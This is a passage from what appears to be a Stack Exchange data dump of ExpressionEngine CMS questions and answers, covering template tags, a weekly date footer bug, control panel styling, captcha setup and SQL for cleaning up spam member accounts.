{bar}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:set name=&quot;foo_2&quot;}{foo}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;bar_2_2&quot;}{bar}{/exp:stash:set}&#xA;{/exp:rest}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  &amp;lt;h1&amp;gt;foo_1=&quot;{exp:stash:foo_1}&quot;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h1&amp;gt;bar_1=&quot;{exp:stash:bar_1}&quot;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h1&amp;gt;foo_2=&quot;{exp:stash:foo_2}&quot;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h1&amp;gt;bar_2=&quot;{exp:stash:bar_2}&quot;&amp;lt;/h1&amp;gt;&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-06-30T03:10:05.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24069" PostTypeId="1" CreationDate="2014-06-30T03:49:27.997" Score="0" ViewCount="160" Body="&lt;p&gt;I have this code. Inside the stash tag pair, there is a loop that gets a list of&#xA;author_ids based on certain conditions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;author_ids&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_vars=&quot;yes&quot;}&#xA;    ...&#xA;    {!-- TODO: Loop --}&#xA;    ...&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I outputted the code below for debugging purposes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;exp:stash:author_ids - [{exp:stash:author_ids}]&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;{exp:stash:not_empty name=&quot;author_ids&quot;}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2&amp;gt;{exp:stash:is_empty name=&quot;author_ids&quot;}&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The interesting thing is that this is the output for when I have a list of author_ids...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp:stash:author_ids - [175|176|]&#xA;1&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and this is the output when there wasn't any author id that was set&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp:stash:author_ids - []&#xA;1&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is strange. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases, why does the empty functions of stash return the same result for both cases &#xA;when its apparent that in one case, the value is empty and the other is not empty?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-07-30T13:01:21.543" Title="Stash - {exp:stash:is_empty} or {exp:stash:not_empty} is not working properly" Tags="|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24070" PostTypeId="1" CreationDate="2014-06-30T05:02:51.757" Score="0" ViewCount="29" Body="&lt;p&gt;I'm currently attempting to display a list of all entries, split into the weeks that they were published in and formatted in a table. The variable tag pair &lt;code&gt;date_heading&lt;/code&gt; and &lt;code&gt;date_footer&lt;/code&gt; appear to be perfect for the job and my template code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;order&quot;&#xA;    limit=&quot;99999&quot;&#xA;    status=&quot;Complete&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&#xA;    {date_heading display=&quot;weekly&quot;}&#xA;&#xA;        &amp;lt;p&amp;gt;Week starting {week_date format=&quot;%j/%n/%Y&quot;}&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;table&amp;gt;&#xA;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;th&amp;gt;Transaction ID&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th&amp;gt;Transaction Date&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;&#xA;            &amp;lt;tbody&amp;gt;&#xA;&#xA;    {/date_heading}&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;{order_transaction_id}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td sorttable_customkey=&quot;{entry_date}&quot;&amp;gt;{entry_date format=&quot;%d/%m/%Y&quot;}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;&#xA;    {date_footer display=&quot;weekly&quot;}&#xA;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;&#xA;    {/date_footer}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm finding is that when an entry posted on a Sunday is output, it doesn't correctly output the date_footer. Rather, it appears after the week's footer and before the next week's heading. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;week-heading&quot;&amp;gt;Week starting 30/6/2014&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;sortable&quot; style=&quot;width: 100%; margin: 24px 0; display: none;&quot;&amp;gt;&#xA;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;th&amp;gt;Transaction ID&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Transaction Date&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;1111&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;30/06/2014&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;2222&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;30/06/2014&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I dug into the ExpressionEngine code that drive this and found the two following snippets in &lt;code&gt;/system/expressionengine/libraries/channel_entries_parser/components/Header_and_footer.php&lt;/code&gt; for the &lt;code&gt;date_heading&lt;/code&gt; and the &lt;code&gt;date_footer&lt;/code&gt; respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;elseif ($display == 'weekly')&#xA;{&#xA;    $temp_date = $data['entry_date'];&#xA;&#xA;    // date()'s week variable 'W' starts weeks on Monday per ISO-8601.&#xA;    // By default we start weeks on Sunday, so we need to do a little dance for&#xA;    // entries made on Sundays to make sure they get placed in the right week heading&#xA;    if (strtolower(ee()-&amp;gt;TMPL-&amp;gt;fetch_param('start_day')) != 'monday' &amp;amp;&amp;amp; ee()-&amp;gt;localize-&amp;gt;format_date('%w', $data['entry_date']) == 0)&#xA;    {&#xA;        // add 7 days to toss us into the next ISO-8601 week&#xA;        $temp_date = strtotime('+1 week', $temp_date);&#xA;    }&#xA;&#xA;    $flag_obj-&amp;gt;heading_date_weekly = ee()-&amp;gt;localize-&amp;gt;format_date('%Y%W', $temp_date);&#xA;&#xA;    if ($flag_obj-&amp;gt;heading_date_weekly == $flag_obj-&amp;gt;heading_flag_weekly)&#xA;    {&#xA;        $tagdata = ee()-&amp;gt;TMPL-&amp;gt;delete_var_pairs($tag, 'date_heading', $tagdata);&#xA;    }&#xA;    else&#xA;    {&#xA;        $tagdata = ee()-&amp;gt;TMPL-&amp;gt;swap_var_pairs($tag, 'date_heading', $tagdata);&#xA;&#xA;        $flag_obj-&amp;gt;heading_flag_weekly = $flag_obj-&amp;gt;heading_date_weekly;&#xA;    }&#xA;}&#xA;...&#xA;&#xA;...&#xA;elseif ($display == 'weekly')&#xA;{&#xA;    if ( ! isset($query_result[$data['count']]) OR&#xA;        ee()-&amp;gt;localize-&amp;gt;format_date('%Y%W', $data['entry_date']) != ee()-&amp;gt;localize-&amp;gt;format_date('%Y%W', $query_result[$data['count']]['entry_date']))&#xA;    {&#xA;        $tagdata = ee()-&amp;gt;TMPL-&amp;gt;swap_var_pairs($tag, 'date_footer', $tagdata);&#xA;    }&#xA;    else&#xA;    {&#xA;        $tagdata = ee()-&amp;gt;TMPL-&amp;gt;delete_var_pairs($tag, 'date_footer', $tagdata);&#xA;    }&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it appears they've applied some sort of workaround in the heading for when we set the week to start on Sunday, but not in the footer. I changed the start_week parameter to Monday, which solved the problem, however the client would like the week to start on Sunday. While I know basic PHP, this kind of stuff is still a bit away from me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else ever encountered this? And, if you have, have you found a workaround?&lt;/p&gt;&#xA;" OwnerUserId="2722" LastActivityDate="2014-06-30T05:02:51.757" Title="date_footer using display=&quot;weekly&quot; doesn't display correctly for entries on Sunday" Tags="|channel-entries|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24071" PostTypeId="1" CreationDate="2014-06-30T07:55:54.950" Score="1" ViewCount="215" Body="&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: I have already read and implemented &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/control_panel/unstyled_cp.html&quot; rel=&quot;nofollow&quot;&gt;the solution&lt;/a&gt; found in the ExpressionEngine 2.8.1 user guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Problem&lt;/strong&gt;: Control Panel is unstyled when viewed from any computer other than the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Setup&lt;/strong&gt;: Turned an old computer into a DIY server in my apartment, running Ubuntu Server. LAMP. Using the free core version of Expression Engine with the idea that I will create a proof of concept, then encourage my employer to buy it for the company's website needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting to the Issue&lt;/strong&gt;: The server &lt;a href=&quot;http://kowdee.tk&quot; rel=&quot;nofollow&quot;&gt;works&lt;/a&gt;. Expression Engine installed successfully and I can create channels, groups, etc. When I access the Control Panel from the server computer (in my apartment) everything shows up fine. &lt;em&gt;But when I access it over the internet at work the Control Panel becomes unstyled. No CSS, no theme, just a lot of unstyled text.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Have You Tried Turning it Off and On Again&lt;/strong&gt;: As mentioned, I already tried the suggested solution of moving cp_theme folder into the system folder, then restarting the server. Nothing changed. I have searched all over for any other solutions and have come up empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me! How do I get the css and themeing back to my Control Panel so I can work on the website whilst away from home? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your time and assistance!&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="22" LastEditDate="2014-06-30T21:44:26.600" LastActivityDate="2014-07-02T06:19:00.493" Title="Control Panel remains Unstyled" Tags="|php|css|cp-themes|stylesheets|cpanel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24072" PostTypeId="2" ParentId="24071" CreationDate="2014-06-30T08:33:05.737" Score="1" Body="&lt;p&gt;Every time I've seen this behavior it's due to 1 or 2 reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue#1:&lt;/strong&gt; The URL and server path to the 'themes' (or renamed themes folder) is incorrect one too many or too less &quot;/&quot; can do it. The fact it works from the server and not any other computer tells me that your paths may be absolute rather then relative. To check : inspect the CP page in whichever browser you're using from 'remote' PC (not server) and look for CSS files that are 404'ing or any other errors. If errors found, JS issues will also come into play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue#2:&lt;/strong&gt; Uploaded files can become corrupt, upload all content to themes folder once again - you can ignore updating 'third_party' - to be safe, download the entire zip from EllisLabs to make sure your downloaded file isn't corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;------UPDATE-----&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a setting in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/general_configuration.html#general-config-theme-path-label&quot; rel=&quot;nofollow&quot;&gt;CP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can some &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#path-third-themes&quot; rel=&quot;nofollow&quot;&gt;manual config settings&lt;/a&gt; to /system/expressionengine/config/config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-----END UPDATE-----&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally are you running any config master items?&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2014-07-02T06:19:00.493" LastActivityDate="2014-07-02T06:19:00.493" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24074" PostTypeId="2" ParentId="24069" CreationDate="2014-06-30T12:10:45.200" Score="1" Body="&lt;p&gt;I've tested this in the latest version of Stash on EE 2.8.1 and can't replicate your problem - it works fine for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else in your template that could be causing it?&#xA;Are you using the most up to date version?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-30T12:10:45.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24075" PostTypeId="1" CreationDate="2014-06-30T13:10:23.633" Score="1" ViewCount="86" Body="&lt;p&gt;I can't get sale_start_date or sale_end_date to work in expresso store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code (inside {exp:store_product})&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if on_sale}&#xA;&amp;lt;strong&amp;gt;På salg: &amp;lt;strike&amp;gt;{regular_price}&amp;lt;/strike&amp;gt; {price}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;em&amp;gt;Du sparer {you_save}&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;em&amp;gt;Salget varer til {sale_end_date format=&quot;%m-%d-%Y&quot;}&amp;lt;/em&amp;gt;&#xA;{if:else}&#xA;&amp;lt;strong&amp;gt;Pris: {price}&amp;lt;/strong&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simply outputs {sale_end_date format=&quot;%m-%d-%Y&quot;} as plain text exactly as is. It doesn't seem to be a recognized tag. All other tags seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? I can't see anything else in the docs.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2016-05-31T03:43:54.070" Title="{sale_end_date} not working (tag not recognised?)" Tags="|expresso-store|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24076" PostTypeId="1" CreationDate="2014-06-30T15:28:04.190" Score="1" ViewCount="30" Body="&lt;p&gt;I have followed the EE 2.8.1 docs to create user comments to be displayed against the relevant channel entry on a singular page, as suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the comments from the whole channel overall are being displayed and not just the relating entry itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code if anyone can help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;left-col-pages full-width&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Job Applications&amp;lt;/h2&amp;gt;&#xA;&amp;lt;hr&amp;gt;&#xA;  {exp:channel:entries channel=&quot;jobs&quot; orderby=&quot;title&quot; sort=&quot;asc|desc&quot; limit=&quot;1&quot;}&#xA;  &amp;lt;h3&amp;gt;{vacancy}&amp;lt;/h3&amp;gt;&#xA;    {exp:member:custom_profile_data}&#xA;    {if photo}&#xA;    &amp;lt;img src=&quot;{photo_url}&quot; alt=&quot;{author}&quot; width=&quot;60&quot; height=&quot;60&quot; class=&quot;right&quot;/&amp;gt;&#xA;    {if:else}&#xA;    &amp;lt;img src=&quot;{site_url}images/member_photos/image-member-placeholder.gif&quot; alt=&quot;No Image&quot; width=&quot;60&quot; height=&quot;60&quot; class=&quot;right&quot;/&amp;gt;&#xA;    {/if}&#xA;  {/exp:member:custom_profile_data}&#xA;    &amp;lt;p&amp;gt;{vacancy} for {company}, {area}&amp;lt;/p&amp;gt;&#xA;  &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;hr&amp;gt;&#xA;  {/exp:channel:entries}&#xA;   &amp;lt;!-- Show Applications --&amp;gt;&#xA;   {exp:comment:entries channel=&quot;jobs&quot; orderby=&quot;name&quot; sort=&quot;asc|desc&quot; limit=&quot;2000&quot; dynamic=&quot;no&quot;}&#xA;   {if photo}&#xA;   &amp;lt;img src=&quot;{photo_url}&quot; width=&quot;60&quot; height=&quot;60&quot; alt=&quot;{author}'s photo&quot; /&amp;gt;&#xA;   {if:else}&#xA;   &amp;lt;img src=&quot;{site_url}images/member_photos/image-member-placeholder.gif&quot; alt=&quot;No Image&quot; width=&quot;60&quot; height=&quot;60&quot;/&amp;gt;&#xA;   {/if}&#xA;   &amp;lt;p&amp;gt;&amp;lt;small&amp;gt;{comment_date format=&quot;%d.%m.%Y&quot;}, {name}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;{comment}&amp;lt;/p&amp;gt;&#xA;   {/exp:comment:entries}           &#xA;  &amp;lt;hr&amp;gt;              &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is placed as an embed should that make any difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Scott&lt;/p&gt;&#xA;" OwnerUserId="3300" LastActivityDate="2014-06-30T16:25:32.950" Title="Comments Display Error" Tags="|comments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24077" PostTypeId="1" CreationDate="2014-06-30T16:07:17.173" Score="1" ViewCount="58" Body="&lt;p&gt;I am a channel called products&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to relate a product to other products&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edit the product say PRODUCT 1 and assign 5 other products to be related to that product&#xA;PRODUCT 2&#xA;PRODUCT 3&#xA;PRODUCT 4&#xA;PRODUCT 5&#xA;PRODUCT 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that when I go to edit one of the related products PRODUCT 2 that its know its related to PRODUCT 1 and it will be displayed/selected in the playa field automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="3018" LastActivityDate="2014-07-03T16:14:28.693" Title="Pixel and Tonic Playa direction" Tags="|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24078" PostTypeId="2" ParentId="24076" CreationDate="2014-06-30T16:25:32.950" Score="1" Body="&lt;p&gt;It's the &lt;code&gt;dynamic&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set it to &lt;code&gt;no&lt;/code&gt;, EECMS will not filter the comments to the entry on URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries channel=&quot;jobs&quot; orderby=&quot;name&quot; sort=&quot;asc&quot; limit=&quot;2000&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-30T16:25:32.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24080" PostTypeId="2" ParentId="22154" CreationDate="2014-06-30T19:20:15.267" Score="0" Body="&lt;p&gt;For what it's worth, I am not able to duplicate your error in FireFox or Chrome on Windows 7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While looking at the source code, I noticed a couple of issues that will not pass html validation. It's possible one of those is getting in the way. I'd start by validating the html and fixing the issues that it identifies. Might just do the trick!&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-06-30T19:32:02.620" LastActivityDate="2014-06-30T19:32:02.620" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24081" PostTypeId="2" ParentId="23632" CreationDate="2014-06-30T19:27:02.623" Score="2" Body="&lt;p&gt;DevDemon's Forms add-on (&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/forms&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/forms&lt;/a&gt;) allows you to have conditional fields which only show if a previous field contains a particular value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See their video on Vimeo for a demonstration (&lt;a href=&quot;http://vimeo.com/45418039&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/45418039&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2014-06-30T19:27:02.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24082" PostTypeId="2" ParentId="20822" CreationDate="2014-06-30T20:01:00.370" Score="1" Body="&lt;p&gt;There's a free add-in called &quot;Freeform Anti-Spam&quot; - which adds a honeypot field which can help cut down spam a bit. And you can have it check against blacklists to cut out spammers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free. It's here: &lt;a href=&quot;http://www.vayadesign.net/software/freeform-antispam&quot; rel=&quot;nofollow&quot;&gt;http://www.vayadesign.net/software/freeform-antispam&lt;/a&gt; (Devot-ee link for reviews and other stuff: &lt;a href=&quot;http://devot-ee.com/add-ons/freeform-anti-spam&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freeform-anti-spam&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-06-30T20:01:00.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24083" PostTypeId="1" AcceptedAnswerId="24090" CreationDate="2014-06-30T22:56:31.293" Score="0" ViewCount="2406" Body="&lt;p&gt;I have a SQL query set-up to display a list of entries based on the category ID found in the third segment, but I'm having a hell of a time trying to display the category name that goes along with it. This is what I have that's currently working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    cd.field_id_19 AS song_number,&#xA;    cd.field_id_20 AS song_title,&#xA;    cd.field_id_21 AS song_artist&#xA;FROM exp_channel_data cd&#xA;LEFT JOIN exp_category_posts cp&#xA;ON cd.entry_id = cp.entry_id&#xA;WHERE cp.cat_id = {segment_3_category_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I have to add a JOIN with the exp_categories table in order for the exp_category_posts.cat_id to retrieve cat_name, but have not been successful in working it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2014-07-01T02:36:28.750" Title="Displaying Category Name and Channel Entry Data with Query Module" Tags="|query|mysql|sql|query-module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24084" PostTypeId="1" CreationDate="2014-06-30T23:11:21.730" Score="0" ViewCount="84" Body="&lt;p&gt;I have a site where I forgot to turn off member authentication and it got hit with over 100,000 spam members over a couple of weeks before we caught it. Now they're all full Members so the SQL to delete Pending members doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL isn't my forte, but from what I've been able to piece together I think this might do the trick, can anyone say if I'm missing anything?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE exp_members, exp_member_data, exp_member_homepage FROM exp_members &#xA;INNER JOIN exp_member_data &#xA;INNER JOIN exp_member_homepage &#xA;WHERE exp_member_data.member_id = exp_members.member_id &#xA;AND exp_members.member_id = exp_member_homepage.member_id &#xA;AND exp_members.group_id = 'x'&#xA;AND exp_members.group_id = 'x'&#xA;AND last_visit = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Trying to delete those members who've never logged in.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastActivityDate="2014-09-29T08:11:15.060" Title="Deleting thousands of spam Members (not Pending)" Tags="|ee2|members|spam|delete|" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-09T13:37:08.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="24086" PostTypeId="2" ParentId="18986" CreationDate="2014-07-01T02:10:30.290" Score="0" Body="&lt;p&gt;The conditional you are looking for is as follow. You have to parse the variable into a string because of the parse order of the playa field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if &quot;{prac_area_contact_people}&quot; == &quot;pollack&quot;}&#xA;Content&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should work.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T02:10:30.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24087" PostTypeId="2" ParentId="23818" CreationDate="2014-07-01T02:20:39.093" Score="0" Body="&lt;p&gt;What I would suggest you do to get that code to load into the template after login is successful, is do a $('div.add2cart').load('path to template with code'); then run your JS to add items to cart after the html loads with the new session information on a logged in user.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T02:20:39.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24088" PostTypeId="2" ParentId="24084" CreationDate="2014-07-01T02:31:51.700" Score="0" Body="&lt;p&gt;After backing up your Database i'd run this Query for each one of those tables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete * from myTable where  group_id = 'group_id_2_delete' AND member_id not in (#,#,#,#); &amp;lt;&amp;lt;&amp;lt;&amp;lt; Members ids you don't want to delete&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T02:31:51.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24089" PostTypeId="1" CreationDate="2014-07-01T02:34:38.040" Score="0" ViewCount="249" Body="&lt;p&gt;I'm trying to use the new channel form captcha functionality, and I never get the fields displayed, apparently because the {if captcha} conditional always fails.  However, like one of the blog posts I saw, when I take the conditional off, I do get a display of the {captcha} image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the instructions and have Allow Guest posts set to yes, Guest Captcha set to yes, And I yave Use TrueType Font set to Yes and that font is there in the {site_url}/images/captchas directory.  I just re-affirmed for the second time that my images/captchas directory is set to 0777, although that may not be valid as it's a Windows server.  I don't know how to check the GD library, but every other aspect of EE seems to work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to see any evidence of GD library.  As it's a windows server, I'm not sure where to look.  Anyone know where in the GUI, or elsewhere, I can see that?&lt;/p&gt;&#xA;" OwnerUserId="3303" LastActivityDate="2014-07-31T11:04:54.743" Title="Cannot get captcha to work" Tags="|captcha|ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24090" PostTypeId="2" ParentId="24083" CreationDate="2014-07-01T02:36:28.750" Score="0" Body="&lt;p&gt;This plugin will give you all of that functionality that you can pass into a channel entries tag. &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot; category=&quot;{segment_3_category_id}&quot;}&#xA;      {count} of {total_results} of the entries associated with that cat.&#xA;&#xA;      {segment_3_category_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T02:36:28.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24091" PostTypeId="2" ParentId="23958" CreationDate="2014-07-01T03:48:23.723" Score="1" Body="&lt;p&gt;There is a module out there that will integrate with the USPS API and calculate that shipping for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/expresso-store-usps-shipping&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/expresso-store-usps-shipping&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T03:48:23.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24092" PostTypeId="2" ParentId="24077" CreationDate="2014-07-01T03:48:58.307" Score="2" Body="&lt;p&gt;What you're describing is reverse relationships. Playa has no such field for the publish page, but it is possible to get the reverse relationship in the templates with the {exp:playa:parents} tag.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-07-01T03:48:58.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
